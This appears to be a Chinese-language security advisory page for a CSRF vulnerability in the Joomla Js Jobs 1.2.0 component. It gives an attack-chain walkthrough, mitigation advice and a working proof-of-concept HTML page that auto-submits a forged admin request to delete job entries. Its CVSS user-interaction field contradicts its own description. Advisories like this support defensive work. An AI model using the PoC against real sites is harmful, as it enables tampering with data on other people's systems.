IPBUF安全漏洞报告
English
CVE-2018-25327 CVSS 5.3 中危

CVE-2018-25327 Joomla Js Jobs组件CSRF漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2018-25327
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Joomla! Component Js Jobs

相关标签

CSRFJoomlaJs JobsWeb安全

漏洞概述

Joomla!的Js Jobs组件1.2.0版本存在跨站请求伪造(CSRF)漏洞。由于缺乏有效的令牌验证机制,攻击者可以诱导管理员访问恶意页面,从而在管理员不知情的情况下执行删除职位条目或修改组件设置等状态更改操作,造成系统完整性受损。

技术细节

该漏洞的核心在于Joomla! Js Jobs组件的后台管理接口缺乏跨站请求伪造(CSRF)防护机制。具体而言,组件在处理如`job.jobenforcedelete`等关键状态更改请求时,未验证请求来源的合法性,即没有检查HTTP Referer头或使用CSRF Token。攻击者可以利用这一缺陷,构造一个恶意HTML页面,其中包含指向漏洞接口的隐藏表单。当拥有管理员权限的用户在浏览器中保持登录状态并访问该恶意页面时,浏览器会自动携带用户的Session Cookie向服务器发送请求。由于服务器端无法区分这是用户主观发起的还是恶意页面触发的,便会执行相应的删除或修改操作,从而破坏数据的完整性。

攻击链分析

STEP 1
侦察
攻击者确认目标网站使用了存在漏洞的Joomla! Js Jobs 1.2.0组件。
STEP 2
构造载荷
攻击者利用漏洞信息,编写包含恶意HTML表单的代码,该表单指向易受攻击的管理端点(如job.jobenforcedelete),并预设删除或修改数据的参数。
STEP 3
传递载荷
攻击者通过钓鱼邮件或社会工程学手段,诱导拥有管理员权限的用户点击链接或访问托管恶意代码的页面。
STEP 4
执行攻击
管理员在浏览器保持登录状态下访问恶意页面,浏览器自动利用管理员的Session Cookie向服务器发送伪造的请求。
STEP 5
达成影响
服务器接收到请求后,因缺乏CSRF验证而执行操作,导致数据被删除或配置被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2018-25327 --> <!-- This page demonstrates the CSRF vulnerability by attempting to delete a job --> <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://target-site/administrator/index.php?option=com_jsjobs&task=job.jobenforcedelete" method="POST"> <input type="hidden" name="cid[]" value="1" /> <input type="hidden" name="boxchecked" value="1" /> <input type="submit" value="Submit Request" /> </form> <script> // Automatically submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

影响范围

Joomla! Component Js Jobs 1.2.0

防御指南

临时缓解措施
建议立即将Js Jobs组件升级至修复了该漏洞的最新版本。若暂时无法升级,应严格限制管理后台的访问来源IP,并在执行敏感操作前实施额外的身份验证步骤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表